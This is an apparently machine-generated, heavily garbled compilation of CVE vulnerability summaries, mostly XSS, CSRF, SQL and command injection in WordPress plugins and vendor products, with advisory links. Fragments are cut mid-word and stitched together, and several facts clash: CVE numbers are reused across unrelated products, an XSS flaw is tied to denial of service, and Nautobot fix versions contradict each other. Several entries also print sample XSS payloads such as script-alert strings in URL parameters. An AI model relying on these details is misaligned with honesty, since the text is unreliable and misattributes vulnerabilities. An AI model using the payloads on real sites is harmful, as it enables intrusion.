'injecting malicious JavaScript code into a page served by the Smart External Link Click Monitor plugin. This vulnerability was identified by Patchstack: <https://patchstack.com/database/vulnerability/link-log/wordpress-smart-external-link-click-monitor-link-log-cve-2023-49820>. It occurs through a vulnerable input form or parameter that gets stored by the Smart External Link Click Monitor plugin. It involves an Improper Neutralization of Input During Web Page Generation', commonly known as Cross-site Scripting (XSS), which was discovered in version 3.2.0 of the plugin. An attacker could inject malicious scripts into web pages viewed by other users. This could lead to a variety of harmful effects, such as stealing user session tokens or performing other unauthorized actions. All versions of the plugin up to and including version 3.2.0 are susceptible to this vulnerability. It is recommended to update to the latest version provided by the plugin developer.

<https://patchstack.com/database/vulnerability/ultimate-addons-for-contact-form-7-cve-2023-49820>

This vulnerability is caused by an improper neutralization of input during web page generation. An attacker could submit malicious input through a vulnerable form or input field of the Ultimate Addons for Contact Form 7 plugin, which would then be rendered on the website. This could lead to a variety of harmful effects, such as stealing user session tokens or performing other unauthorized actions.

CVE-2023-49766. The Base Score is typically determined by the Common Vulnerability Scoring System (CVSS) score. This vulnerability is categorized as an Improper Neutralization of Input During Web Page Generation. This means the malicious script is stored on the target server and executed when a user accesses a particular page.

This vulnerability allows an attacker to inject malicious JavaScript code through a form or input vulnerability in the Nested Pages plugin interface.

<https://patchstack.com/database/vulnerability/wp-nested-pages/wordpress-nested-pages-plugin-3-2-6-cross-site-scripting-xss/>

The vulnerability was found in the WordPress Nested Pages plugin version 3.2.6 and earlier versions up to and including version 1.0.9.

This is a stored XSS vulnerability. This means that malicious scripts are injected and then stored on the web application by a malicious actor submitting a script through a form or any input that accepts user-generated content. The severity of the vulnerability is Medium. Severity scores are typically assigned by the CVE authorities to indicate how critical a vulnerability is.

The following URL: <https://patchstack.com/database/vulnerability/10to8-online-booking/wordpress-10to8-cross-site-scripting-xss/> injects malicious scripts into the system that will be stored and later executed in the browsers of other users.

This vulnerability was found in the WordPress Braincert Online Booking plugin version 1.0.9 and earlier versions up to and including version 1.30.

<https://patchstack.com/database/vulnerability/html5-virtual-classroom/wordpress-braincert-html5-virtual-classroom-cross-site-scripting-xss/>

The following URL: [http://example.com/virtual\\_classroom?param=<script>alert\('XSS'\);</script>](http://example.com/virtual_classroom?param=<script>alert('XSS');</script>). If the application fails to properly sanitize user input, it can lead to sensitive information like cookies or session keys being exposed, defacing web pages, redirecting users to malicious websites, or even bypassing security measures. The vulnerability was identified in the Braincert Online Booking Management System and has been assigned the identifier CVE-2023-49171.

This is a Cross-site Scripting (XSS) vulnerability.

This vulnerability was found in the Braincert Online Booking Management System version 1.0.3.4 and earlier versions up to and including 1.0.3.4 are affected by CVE-2023-49171.

<https://patchstack.com/database/vulnerability/innovs-hr-manager/wordpress-innovs-hr-plugin-1-0-3-4-reflected-cross-site-scripting-xss/>

This vulnerability allows an attacker to inject malicious scripts into the system by clicking on a link containing a script, which is then sent to an unsuspecting user. When the user clicks on the link, the script is executed, giving the attacker unauthorized access to user sessions, personal data theft, website defacement, and distribution of malware.

This vulnerability enables attackers to inject and execute arbitrary web scripts or HTML in the affected web application, specifically the UTF8-SP1 release.

The vulnerability is triggered when an attacker injects malicious code into the Registration Number parameter, which is susceptible to stored cross-site scripting attacks.

This vulnerability was found in the EyouCMS v1.6.5-UTF8-SP1. It was discovered by a researcher named Weng Xianhu, who published a proof-of-concept exploit on the GitHub repository for EyouCMS, which can be accessed at <https://github.com/weng-xianhu/EyouCMS/tree/1.6.5-UTF8-SP1>. The exploit involves injecting malicious JavaScript code designed to be executed in the victim's browser. For example, an attacker could inject malicious code into the registration number parameter.

The Common Vulnerability Scoring System (CVSS) which quantifies the severity of vulnerabilities. Users would need to use the latest version of the CMS, which is a type of web content management system. The vulnerability is a cross-site scripting (XSS) security issue that allows attackers to inject client-side scripts into web pages viewed by other users. An attacker can inject malicious web scripts or HTML and injecting it into the vulnerable component /logs/dopost.html of RPCMS v3.1. This vulnerability is exploited. Typically, the effects of an XSS vulnerability like CVE-2023-50565 include unauthorized access to user accounts, data theft, and website defacement.

in the CVE details. The issue was reported on GitHub, and detailed information, potentially including code or a proof of concept, I cannot provide an exact payload. Generally speaking, an example XSS payload of Input During Web Page Generation (Cross-site Scripting) discovered in the Spectra - WordPress Gutenberg Blocks, which is a plugin that provides additional blocks for the Gutenberg editor in WordPress, including version 2.7.9.

An attacker who manages to inject malicious JavaScript code into the web application, which is then saved

<https://patchstack.com/database/vulnerability/ultimate-addons-for-gutenberg/wordpress-spectra-plugin> t code in the context of the user's browser session. This could lead to a range of malicious activities including sensitive information. If the malicious script is executed in the context of a user who has access to the plugin to the latest version, which is not affected by CVE-2023-49833. This will help to mitigate the risk

cally pertains to a Stored Cross-site Scripting (XSS) issue. This type of vulnerability involves improper neutralization of input fields supported by Woo from versions prior to 6.4.3. The issue was present up to version 6.4.2.

meaning an attacker can inject malicious scripts that are stored on the server and are executed whenever user input fields or any other data entry points in the Automattic WooPayments platform. If the user input is

<https://patchstack.com/database/vulnerability/woocommerce-payments/wordpress-woopayments-plugin-6-4-2-cross-site-scripting-xss/> WordPress theme, which is described as an Improper Neutralization of Input During Web Page Generation.1.

Occurs when user input is not properly sanitized and ends up being included in the output of a web page, leading to XSS payloads. When other users click a malicious link or the web application processes the untrusted input from a vulnerable website with a URL that includes a script tag or JavaScript code, such as `<a href='http://vulnerable-site.com'>Patchstack</a>`, which provides vulnerability details and mitigation advice. Reference the URL: <https://patchstack.com/database/vulnerability/woocommerce-payments/wordpress-woopayments-plugin-6-4-2-cross-site-scripting-xss/>. Vulnerability scores like the Common Vulnerability Scoring System (CVSS) provide an estimate of the risk of

'Input During Web Page Generation', more commonly known as a Stored Cross-site Scripting (XSS) issue.

ages generated by the Spiffy Calendar plugin, which could then be executed in the context of the user's browser. Two areas of the Spiffy Calendar plugin that accept user input. When another user views these input areas, they are vulnerable to CVE-2023-49745.

The reference link: <https://patchstack.com/database/vulnerability/spiffy-calendar/wordpress-spiffy-calendar-xss/>

The latest version that addresses the vulnerability. WordPress administrators should also consider using the security found in the Jeff Starr Dashboard Widgets Suite plugin for WordPress. Due to improper neutralization of input fields, this is a stored XSS type, which means that malicious scripts are injected and saved in the victim's web application up to and including version 3.4.1. Any installations running these versions are vulnerable to Stored XSS. To the Dashboard Widgets Suite plugin's input fields or areas where user input is taken. Once stored, the malicious scripts provided by Jeff Starr for the Dashboard Widgets Suite plugin. If a security update addressing CVE-2023-49745 references, which directs to a detailed report by Patchstack at: <https://patchstack.com/database/vulnerability/spiffy-calendar/wordpress-spiffy-calendar-xss/>

| and confirmed, they are documented in the Common Vulnerabilities and Exposures (CVE) system to i  
raphinite Accelerator, specifically a 'Cross-site Scripting' (XSS) vulnerability. This issue is due to impro  
version up until version 2.20.28.

|n vulnerability, more commonly known as a Cross-site Scripting (XSS) vulnerability.

an attacker injects a malicious script into a web application, which then reflects the script back to the  
context of the user's browser, leading to outcomes such as the theft of session cookies, account takeo  
version that addresses the vulnerability as soon as the fix becomes available. Additionally, developer  
malicious JavaScript to a user. The URL could look something like this: `http://vulnerable-website.com/  
security databases and websites that track vulnerabilities, such as the one mentioned in the CVE entry:  
ges plugin, which is designed for use with WordPress and various community and user management pl  
red XSS type. Stored XSS is a security flaw that allows an attacker to inject malicious scripts into websi  
o version 2.4.0. Users of the plugin with versions up to and including 2.4.0 are advised to update to a li  
lnerability can be found on the website of Patchstack at the following URL: <https://patchstack.com/d>  
age containing JavaScript code. When a user with a vulnerable version of the plugin views the messag  
of the victim's browser session. This can lead to a range of malicious activities, including but not limite  
ck Ticker plugin for WordPress. Specifically, it is an 'Improper Neutralization of Input During Web Page  
nerability. This type of security flaw occurs when a web application includes untrusted data in a new w  
gned for WordPress websites.

|text of the victim's browser session. This can lead to a variety of malicious activities, such as stealing s  
ability Scoring System (CVSS) base score.

<https://patchstack.com/vulnerability/stock-ticker/wordpress-stock-ticker-plugin-3-23-2-reflected-cross-site-scripting-xss-vu>  
g a malicious URL that encodes a JavaScript payload. When a victim clicks on this URL, the script execut

|n, also known as a 'Cross-site Scripting' (XSS) vulnerability.

|r Addons plugin for WordPress.

|cluding version 3.5 are impacted by CVE-2023-50370.

their vulnerability database via the following link: <https://patchstack.com/database/vulnerability/add>  
ng malicious scripts into the plugin's input fields, which are then rendered without proper sanitization.  
wing into a vulnerable form field or URL parameter within the plugin: `<script>alert('XSS');</script>`. If  
ts or later for WooCommerce' plugin is CVE-2023-50369.

|on (Cross-site Scripting) vulnerability found in the 'Alma – Pay in installments or later for WooComme  
| assigned yet.

<https://patchstack.com/database/vulnerability/alma-gateway-for-woocommerce/wordpress-alma-plugin-5-1-3-cr>  
erable code snippet to Stored XSS typically involves improper handling of user inputs in web applicatio  
IS vulnerability by injecting malicious scripts into the WooCommerce page served by the Alma plugin.  
eatures for Phlox theme' used in WordPress. This vulnerability is an example of a Stored Cross-site Scri  
ox theme' plugin, which is used in conjunction with the Phlox theme for WordPress.

er neutralization of input during web page generation, allowing an attacker to inject persistent malicio  
! of the 'Shortcodes and extra features for Phlox theme' plugin for WordPress.

cript code into a vulnerable field or component within the 'Shortcodes and extra features for Phlox the

ally at this URL: '<https://patchstack.com/database/vulnerability/auxin-elements/wordpress-shortcode>' leads to user session tokens or cookies, defacement of the website, phishing attacks to capture sensitive information exists in the Twinpictures Annual Archive WordPress plugin. This vulnerability allows the attacker to exploit this vulnerability to inject malicious JavaScript code into the pages of the website that uses the version from the earliest version up to and including version 1.6.0. It is recommended that users update to a version of the Twinpictures Annual Archive WordPress plugin to the latest version that includes the fix for this vulnerability. The attacker submitting a form or entry within the Annual Archive plugin interface that contains malicious JavaScript can unauthorized access to sensitive user data, cookie theft, session hijacking, phishing attempts, site defacement. The Base Score is part of the Common Vulnerability Scoring System (CVSS) which provides a scaled 'Author Avatars List/Block'. Improper neutralization of input during web page generation allows the attacker to access the affected plugin.

due to improper neutralization of user input during the generation of web pages by the affected plugin. The affected plugin are vulnerable to CVE-2023-49846.

leads to stealing session tokens, account takeover, and manipulation of displayed content to end-users.

<https://patchstack.com/database/vulnerability/author-avatars/wordpress-author-avatars-list-block-plugin> update to a version that addresses the vulnerability (a version after 2.1.17) or disable and remove the scripts into the plugin's input fields. Once submitted, these scripts are stored and can be executed in the browser. The affected plugin is vulnerable to CVE-2023-49836.

on, commonly known as a 'Cross-site Scripting' (XSS) vulnerability. This type of vulnerability allows attackers to steal session tokens, account takeover, and manipulate displayed content to end-users. The affected plugin is vulnerable to CVE-2023-49836.

<https://patchstack.com/database/vulnerability/cookie-bar/wordpress-cookie-bar-plugin-2-0-cross-site-scripting-xss> update to a version that addresses the vulnerability (a version after 2.0.17) or disable and remove the scripts into the plugin's input fields. Once submitted, these scripts are stored and can be executed in the browser. The affected plugin is vulnerable to CVE-2023-49836.

9836 could involve an attacker submitting a cookie consent message that includes malicious JavaScript code, being able to execute arbitrary JavaScript in the context of the user's browser session. This may lead to a denial of service. The affected plugin is vulnerable to CVE-2023-49836.

using version 8.0.6.

This vulnerability allows attackers to inject malicious scripts into web pages that are saved on the server and executed, session tokens, or other sensitive information from users of the affected web pages. It can also allow the attacker to execute arbitrary JavaScript in the context of the user's browser session. This may lead to a denial of service. The affected plugin is vulnerable to CVE-2023-49836.

mobile internet products, which stems from insufficient validation of a Web interface parameter. This vulnerability allows the attacker to cause a denial of service, potential denial of service, or loss of functionality provided by the affected ZTE mobile internet product. The affected plugin is vulnerable to CVE-2023-49836.

. This indicates that the severity of the vulnerability has not been officially rated yet.

is to the Web interface of an affected ZTE mobile internet product. Since the parameter validation is in dates provided by ZTE to correct the insufficient validation issue. Users should regularly check the ZTE ZT Secure prior to 22.6R2. This vulnerability allows an attacker who can impersonate an administrator product offering secure remote access to corporate networks.

. However, the Base Score for this CVE has not been provided, suggesting that an official severity rating Secure should upgrade to the patched versions, 22.6R2 or later, as recommended by Ivanti. It is important an administrator and sending a maliciously crafted web request to the system. If successful, through the following link: <https://forums.ivanti.com/s/article/Security-patch-release-Ivanti-Connect-Secure>

illegal and illegal to share exploit code for vulnerabilities. However, developers and system administrators

nt `/certificate.crt` is affected as well as the way the web interface handles custom error messages, presented by CVE-2023-49296.

© Arduino Create Agent.

ink: <https://github.com/arduino/arduino-create-agent/commit/9a0e582bb8a1ff8e70d202943dddef862>

tim to click on it. This click would trigger the Reflected XSS, potentially allowing the attacker to execute arbitrary browser client side code. This could lead to various security threats such as stealing session ware. It is an arbitrary file upload vulnerability that allows an authenticated read-write administrator to upload files to the server.

Administrator with access to the web interface of the Palo Alto Networks PAN-OS software.

ited this vulnerability to disrupt system processes and potentially execute arbitrary code with limited |  
y advisory page, the specific URL for this CVE is <https://security.paloaltonetworks.com/CVE-2023-6794>  
on.

nehow obtained read-write administrative credentials to the web interface of PAN-OS. Once logged in -2023-6794, one would need to refer to the details given in the security advisory at their official securi

een mentioned. To get the details of affected versions, users should refer to the Palo Alto Networks se

External system integrations including LDAP, SCP, RADIUS, TACACS+, and SNMP. Only administrator to access them in plaintext from the web interface.

//security.paloaltonetworks.com/CVE-2023-6791.

ator leveraging the vulnerability to gain unauthorized access to sensitive credentials, which could then be used to compromise the software. This particular vulnerability is a DOM-Based cross-site scripting (XSS) issue that allows a remote attacker to inject malicious code into the victim's browser environment.

t of an administrator's web browser. This malicious script could carry out a variety of actions such as steal sensitive information or click on or navigate to a specifically crafted link that contains the malicious JavaScript payload. When the user interacts with the page, the script will be executed, potentially leading to a compromise of the system.

Alto Networks at <https://security.paloaltonetworks.com/CVE-2023-6790>. Typically, the vendor will release an advisory page at <https://security.paloaltonetworks.com/CVE-2023-6790>, where details about the vulnerability or patching details, you should check the official CVE entry or the vendor's security advisory.

o an administrator with a link to a malicious website or a direct link that contains the XSS code as part of the exploit payload.

e. It refers to a cross-site scripting (XSS) issue that allows a malicious authenticated read-write administrator to inject JavaScript code into web pages.

y.paloaltonetworks.com/CVE-2023-6789.

administrative access to the PAN-OS software. The attacker crafts a JavaScript payload and injects it into the FortiWeb system. The affected versions range from 6.2.8, 6.3.0 to 6.3.23, 7.0.0 to 7.0.9, 7.2.0 to 7.2.5, and 7.4.0. It's an issue related to improper output encoding, which could potentially be exploited by attackers to manipulate or forge traffic logs.

o - 6.3.23, 7.0.0 - 7.0.9, 7.2.0 - 7.2.5, and 7.4.0.

o could create fake log entries or manipulate the contents of logs to hide their malicious activities or craft URLs with a URL crafted in a specific way that the vulnerable FortiWeb system does not properly sanitize or validate. The exact details of the exploit are not provided in the details given. To determine the current exploit status, security professionals often consult the Fortinet Security Research Center (SRC) Fortinet at the following URL: <https://fortiguard.com/psirt/FG-IR-23-256>

), commonly known as 'cross-site scripting' or XSS. This vulnerability in Fortinet FortiSandbox could allow an attacker to inject malicious scripts into a web page through various versions of the product, ranging from 4.2.5, 4.0.0 through 4.0.3, 3.2.0 through 3.2.4, and 3.1.0 through 3.1.5.

ting (XSS) attack by sending specially crafted HTTP requests that inject malicious scripts into a web page.

al advisory page: <https://fortiguard.com/psirt/FG-IR-23-360>

any patches or updates provided by Fortinet for the FortiSandbox product. It's also advisable to review the FortiSandbox documentation for more information on how to mitigate this vulnerability.

, 4.2.0 through 4.2.5, 4.0.0 through 4.0.3, 3.2.0 through 3.2.4, 3.1.0 through 3.1.5, and 3.0.0 through 3.0.1, commonly known as a cross-site scripting (XSS) vulnerability.

ests to the capture traffic endpoint of Fortinet FortiSandbox, which may result in the execution of unauthorized code on the device.

net at <https://fortiguard.com/psirt/FG-IR-23-214>.

g a malicious HTTP request containing JavaScript code. When an administrator or user accesses the affected devices, such as the Relyum version 22.2.1 and the RELY-REC version 23.1.0. These devices are susceptible to Cross Site Request Forgery (CSRF) attacks.

3.1.0.

attackers to trick a user into executing unwanted actions on a web application in which they're currently logged in. You can find more information about this vulnerability and its impact on the Relyum device at <https://www.relyum.com/web/support/vulnerability-report/>.

es from Relyum that address the CSRF vulnerability described by CVE-2023-47578 and apply them. The exploit works by sending a malicious request to the Relyum device's web interface. If an authenticated user visits a page or email with embedded requests targeting the Relyum device's web interface. If an authenticated user sends a command injection request to the device, it could allow an attacker to execute arbitrary commands on the device. It allows an authenticated user to perform command injection through the device's web interface. An authenticated user can inject malicious commands via the web interface, which could compromise the security of the device. The base score of a base score means the severity of the vulnerability has not been quantified in the Common Vulnerabilities and Exposures (CVE) database.

ty report webpage, accessed via the URL: <https://www.relyum.com/web/support/vulnerability-report>. A command injection attack typically involves an attacker entering system commands into input fields on the web interface to inject malicious commands that may allow them to take control of the affected Relyum RELY-REC 23.1.0 devices. It pertains to a weakness in the web interfaces of these devices which are described below.

The source of the vulnerability is available at <https://www.relyum.com/web/support/vulnerability-report/>.

When a user visits a malicious URL with a script embedded in the query parameters, the web interface fails to properly validate the input, allowing the malicious JavaScript code to be executed on the unsuspecting user's browser. The root cause of this vulnerability lies in the web interface's authorization mechanism, which fails to enforce proper authentication for less privileged users. This flaw enables less privileged users to execute functions intended for more privileged users.

The affected URL is <https://www.relyum.com/web/support/vulnerability-report/>.

This vulnerability allows an unauthenticated user to gain unauthorized access to administrative functions on the device. This could potentially lead to various malicious actions, such as modifying configuration files or performing unauthorized operations on the device. The attacker would need to have knowledge of the web interface of the Relyum RELY-PCIe 22.2.1 devices and may involve bypassing the login mechanism to gain access to the device.

The recommended course of action is to apply the patches included in Nautobot versions 1.6.7 and 2.0.6.

To do this, the user needs to log in to Nautobot and then use the unauthenticated URLs `/files/get/?name=...` or `/files/download/?name=...` to download files from the device.

The recommended course of action is to apply the patches included in Nautobot versions 1.6.7 and 2.0.6.

To do this, the user needs to log in to Nautobot and then use the unauthenticated URLs `/files/get/?name=...` or `/files/download/?name=...` to download files from the device.

The issue was identified in Nautobot version 2.0.6 and has been fixed in versions 10.8.1 and 12.3.4.

The fix was released in Nautobot version 2.0.6 and is available for download from the official GitHub repository.

The fix was released in Nautobot version 2.0.6 and is available for download from the official GitHub repository.

The fix was released in Nautobot version 2.0.6 and is available for download from the official GitHub repository.

The fix was released in Nautobot version 2.0.6 and is available for download from the official GitHub repository. The fix addresses the issue by validating the length of the parameter values before executing them.

The fix was released in Nautobot version 2.0.6 and is available for download from the official GitHub repository. The fix addresses the issue by validating the length of the parameter values before executing them.

A detailed description of the fix can be found in the Nautobot GitHub repository under the commit [GHSA-v98m-398x-269r](#). The fix involves changing the validation logic for the parameter values to ensure they are within a reasonable length range. This helps prevent attackers from injecting long strings of characters into the system, which can lead to denial-of-service attacks or other security issues.

↳ a user into clicking on something different from what the user perceives, thereby potentially leading to a user-controlled web page crafted to perform a clickjacking attack. This malicious page would contain an unpatched Red Hat errata (RHSA-2023:5206): <https://access.redhat.com/errata/RHSA-2023-5206> - Red Hat CVE Database

MP Web Pro version 1.1.

in CVE-2023-49563.

3 by injecting a crafted script within a request.

0mbyt3/b237fb06b2bff405ab47e4ea52c0bd2

script in an HTTP request to the webserver. For instance, the attacker might submit a form that includes malicious code that would apply any patches or updates provided by the software vendor. They should also ensure that input is checked before 6.13 Patch 2 (6.13.0.2). This vulnerability allows an authenticated malicious user to inject HTML code prior to version 6.13 Patch 2 (6.13.0.2). The issue is also addressed in the subsequent fixed release, which enables a remote authenticated malicious user to exploit the system by storing harmful HTML code in a file. Releasing patches 6.13 Patch 2 (6.13.0.2) and the subsequent version 6.14 (6.14.0). Installing these updates will resolve the issue.

icious HTML code in the application's data store. When other users access this data through their web about the vulnerability and the ways to address it were made available to the public.

RL, which links to an Archer community platform announcement: <https://www.archerirm.community/> credentials accessing the Archer Platform and injecting dangerous JavaScript or HTML code into a data st : allows an attacker to bypass proper authorization checks. By exploiting this vulnerability, an attacker understand the severity, one would typically refer to the Common Vulnerability Scoring System (CVSS),

AP has documentation on this vulnerability which can be accessed at '<https://me.sap.com/notes/3406>: JS app or sending a crafted intent to invoke the vulnerable activity in the host app using the Emarsys SI npromise of sensitive information through phishing, unauthorized actions performed on behalf of the i ing systems and applications including Safari, macOS, watchOS, iOS, iPadOS, and tvOS. The vulnerabilit handling, which was implemented in updated versions of the affected software. Specifically, the upda : mac OS Sonoma 14.2, watchOS 10.2, iOS 17.2 and iPadOS 17.2, and tvOS 17.2.

arbitrary code execution. This means that if an attacker were successful in exploiting this vulnerability, illetin websites and databases such as seclists.org and openwall.com lists, as well as directly from App t that takes advantage of the affected memory handling within Apple's software. For example, an atta nce, specifically version 420. It allows an authenticated attacker to inject JavaScript code into Web Int

here an attacker manages to inject and execute malicious JavaScript code in a user's browser.

This version 420.

JRLs: <https://me.sap.com/notes/3382353> and <https://www.sap.com/documents/2022/02/fa865ea4-1> nt.

afting malicious JavaScript code and injecting it into a Web Intelligence document on the vulnerable S/ zed disclosure of sensitive data that the user has access to within SAP Business Objects Web Intelligen .15P2. It involves hidden and hard-coded credentials that allow remote attackers to log into the web r

ne super-admin to the web management interface, potentially allowing them to access and manipulat L.

ighest level of privileges to the web management interface. This could lead to unauthorized control ov m the official advisory page at '<https://www.cvcn.gov.it/cvcn/cve/CVE-2023-36651>', to obtain informa

ible over a network. By exploiting the hidden and hard-coded credentials, the attacker could gain supple, the advisory from the CVE declaration page at '<https://www.cvcn.gov.it/cvcn/cve/CVE-2023-3665> P2. It involves the insecure handling of sensitive information such as JWT tokens. These tokens can be as an authenticated Grafana user, or they can extract these tokens through the Loki REST API without

ties like this do not have publicly shared code examples, as they could aid attackers in exploiting the vi th Grafana access, exploiting the system by obtaining JWT tokens from logs to perform operations as : <https://www.cvcn.gov.it/cvcn/cve/CVE-2023-36649>. This reference might include additional informa which involves a hard-coded cryptographic private key that is used to sign JWT (JSON Web Token) auti led. However, based on the nature of the vulnerability—allowing remote attackers to impersonate user

y found within ProLion CryptoSpike to sign JWT tokens. These forged tokens can then be used by the a  
www.cvcn.gov.it/cvcn/cve/CVE-2023-36647.

ed hard-coded private key to generate JWT tokens that could impersonate legitimate users or administ  
023-36647 would involve using the hard-coded private key to create a JWT token programmatically, whi  
l. This vulnerability is related to improper origin validation in WebSocket communication with Socket.i

cket connections with Socket.IO. This allows connections from other sites and could be used to bypass fi  
and connect to Uptime Kuma without any user interaction. This could lead to unauthorized actions on  
origin header in the socket.io connection handler. By default, the application will now check if the 'Orig  
IE\_KUMA\_WS\_ORIGIN\_CHECK=bypass'. This would bypass the default behavior introduced in the mit  
to open a WebSocket connection to Uptime Kuma, due to its lack of Origin header validation. The atta

[github.com/louislam/uptime-kuma/commit/2815cc73cf9d8ced889e00e72899708220d184f](https://github.com/louislam/uptime-kuma/commit/2815cc73cf9d8ced889e00e72899708220d184f).  
[louislam/uptime-kuma/security/advisories/GHSA-mj22-23ff-2hrr](https://github.com/louislam/uptime-kuma/security/advisories/GHSA-mj22-23ff-2hrr).

hich provides Cross-Origin Resource Sharing (CORS) support for Koa, a web framework for Node.js. Thi  
Access-Control-Allow-Origin` header with the same value as the origin of the incoming request when no  
request to a vulnerable web application from their own domain. Due to the issue, the application woul  
l's behavior to not reflect the request's origin in the `Access-Control-Allow-Origin` header when no allo  
@koajs/cors, accessible at <https://github.com/koajs/cors/commit/f31dac99f5355c41e7d4dd3c4a80c5f1>  
oa/cors middleware without a specified allowed origin prior to version 5.0.0:```javascriptconst Koa = rei

es the fix for this vulnerability.

rafted payload.

<https://www.vulnHub.com/Hebing123/cve/issues/1>  
malicious URL with a payload such as 'http://vulnerable-site.com/page?nic=<script>alert('XSS')</script>':  
malicious actions such as stealing session cookies, defacing web pages, or redirecting the user to malicio

e Open Journal Systems (OJS). This type of attack can force a user to perform actions that they did not

s website: <https://www.incibe.es/en/incibe-cert/notices/aviso/cross-site-request-forgery-open-journal>  
page or email that, when interacted with by a victim who's authenticated on an OJS platform, sends a

System 1.0 that affects the processing of the file /libsystem/login.php. It involves the manipulation of  
'ident' argument in the /libsystem/login.php file to perform SQL injection. Since the system processes the  
abase linked to the vulnerable web application. These operations could include accessing, modifying, or  
ed request to the affected /libsystem/login.php file with a malicious SQL query, thereby gaining unauth  
line security repositories and advisories including a GitHub repository at '<https://github.com/Kidjing/c>  
fected parties of the vulnerability and the associated risks.

: Vigor167 running version 5.2.2. This vulnerability involves an OS Command Injection issue that allow:

s difficult to determine the exact severity; however, given the nature of the vulnerability, allowing com  
specific version should consider the device vulnerable and look for updates or patches from the vendor.  
ed by the security research group that discovered the vulnerability. You can find more details on the fo  
l systems. Attackers with access to any account created via the web interface can execute arbitrary sys

user account on the web interface could exploit the command injection flaw in the CLI interface. The a  
ubernetes) Native Java stack tailored for OpenJDK HotSpot and GraalVM. The flaw is specifically found

iations over websockets. This flaw can result in information disclosure or functionality exposure that ;  
h often include patches, updates, or specific remediation steps. These can be accessed through the ref  
the CVE report. These references include a Red Hat errata page (RHSA-2023:7612) with details about t  
n the CVE details. However, generally speaking, the issue can occur when a GraphQL operation over a 't  
he vulnerable Quarkus application. They could craft malicious websocket requests targeting the Grap  
s a stored Cross-Site Scripting (XSS) vulnerability caused by insufficient HTML encoding when displayin  
e severity of XSS vulnerabilities can range from Low to Critical depending on the context and the pote  
vulnerabilities arise when an application stores user input without proper sanitization, which is later pr

ebsite at <https://www.qualys.com/security-advisories/>.

ty log. The following pseudocode may illustrate the vulnerability found in CVE-2023-6146:// Pseudocode  
Qualys web application could submit a malicious script embedded within their browser details. When ;  
n Sentinel AnyWare (SSA) version 1.6.24.492. This vulnerability is an Open Redirect, which involves the  
es an attacker to redirect users to attacker-controlled websites, which can be used for phishing attacks  
1.6.24.492 specifically.

ns a maliciously injected 'path' parameter in the query string that directs the victim to a phishing or m  
ed into entering sensitive data into a fake login page, drive-by-download attacks where a victim's syste  
<https://github.com/MatJosephs/CVEs/tree/main/CVE-2023-48928>. This resource might include additio  
eries products such as MX-SE, MX-SE II, MX-E, MX-Virtual, MX250, and MX30. The vulnerability is pres  
ows attackers to interfere with the queries that an application makes to its database.

X-E, MX-Virtual, MX250, and MX30.

ious 'filter' parameter to the '/newapi/' endpoint in the Zultys MX web interface. This can be done afte  
rface, meaning they would need valid credentials or another means of authenticating themselves to th  
should update their firmware to version 17.0.10 patch 17161 or 16.04 patch 16109 to mitigate the risk.  
vulnerability allows an attacker to execute arbitrary SQL queries. This could lead to unauthorized data ;  
uld immediately apply the provided firmware updates. In addition to patching, other defensive measu  
x.

:connect/ within Software AG WebMethods.

/vm.server/connect/ and manipulating it to gain improper access controls.

', a popup might request a username and password. If the user clicks 'CANCEL', they will be redirected  
hey might be able to see sensitive information such as internal IPs, ports, and versions due to the vuln  
n the /assets/ path, followed by a return to the /assets/ directory, suggests that the insufficient access  
base.

did not respond in any way.

such as configuration details, internal IPs, and port numbers. Attackers could also potentially leverage

This vulnerability is a stored cross-site scripting (XSS) issue that could potentially allow attackers to exploit the vulnerable ControlByWeb Relay products. If an attacker successfully exploits this vulnerability, they

XSS where the injected script is permanently stored on the target servers, such as in a database, and t

al Control Systems Cyber Emergency Response Team (ICS-CERT) advisory hosted on the CISA website at <https://www.cisa.gov/uscert-ics/cert-advisories/csa-23-001>. The advisory states that the vulnerability could look something like this: '`<script>alert('XSS');</script>`'. An attacker could attempt to submit this script into a vulnerable field of ControlByWeb Relay's web interface, such as a user input form. When an IPMI Management Interface (IPMI) baseboard management controller (BMC) on Supermicro X11 and M11 boards are running firmware versions prior to 3.17.02.

ace of the affected IPMI BMC and then sending a crafted request to specific cgi endpoints that are vuln  
on on the affected systems.

bsite and the provided security advisory link for more information and updates to mitigate the vulnerability. The web interface could send specially crafted requests to execute commands on the system. This notice that could have prevented an attack exploiting CVE-2023-33412. It is also recommended to restrict details. Users are advised to consult the CVE entry or the vendor's advisory for further risk assessment.

by visiting the security advisory link provided, which is '<https://www.supermicro.com/en/support/se>gment Interface (IPMI) baseboard management controller (BMC) web server on Supermicro X11 and N  
e versions up to 3.17.02 and utilize the Intelligent Platform Management Interface (IPMI) with a vuln  
authenticating users on affected devices. This type of vulnerability could be exploited to gain unauthori  
the vulnerability and its implications can usually be found from the references provided in the vulnera  
s official website or directly access the security advisory for this specific vulnerability at '<https://www.s>rafted requests to the web server on the affected IPMI BMC. By exploiting the directory traversal vuln  
ied or disclosed. The absence of a base score suggests that the vulnerability's severity has yet to be ass  
ode for WordPress REST API' plugin. This vulnerability is described as an 'Improper Restriction of Excess  
API.'

ation attempts, potentially leading to authentication abuse.

T API' up to and including 0.0.15 are affected by CVE-2023-35039.

<a href="https://patchstack.com/database/vulnerability/bdvs-password-reset/wordpress-password-reset-with-the-same-PIN-or-password-reset-codes-without-being-locked-out-or-detected-by-the-system-Since-CVE-2023-3!-specifically-referring-to-a-cross-site-scripting-XSS-issue>This vulnerability could potentially allow an attacker to inject malicious scripts into web pages viewed by other users.

vendor's official support or security bulletins page. The references listed, such as <https://jvn.jp/en/jpn/>, are web browser of a user logging into the affected Ruckus products. This may result in a variety of malicious code by the vendor for patches or updates and apply them as soon as possible. Additionally, implementi

before 10.0.4, as well as versions 8.8.15 before Patch 43, and 9.0.0 before Patch 36.

in the 10.0.4 release, as well as in 8.8.15 Patch 43 and 9.0.0 Patch 36.

h was discovered in a web endpoint of Zimbra Collaboration due to an unsanitized parameter.

of an XSS exploit involves an attacker crafting a malicious link containing a script that exploits the user's system, including stealing cookies or session tokens, defacing the web site, phishing, installing malware, or redirecting the user to a malicious site.

ficial Zimbra Wiki Security Center at [https://wiki.zimbra.com/wiki/Security\\_Center](https://wiki.zimbra.com/wiki/Security_Center) and in the Zimbra !

there is a failure to properly validate route parameters for URLs with a path pattern of /<TEAM\_NAME>. This typically means the score has not been assigned yet or wasn't listed in the provided data.

webpage, located at <https://mattermost.com/security-updates>. URL with incorrect or manipulated 'TEAM\_NAME' and 'CHANNEL\_NAME' parameters. By persuading users are advised to look for updates and security notices on the Mattermost security updates page fo

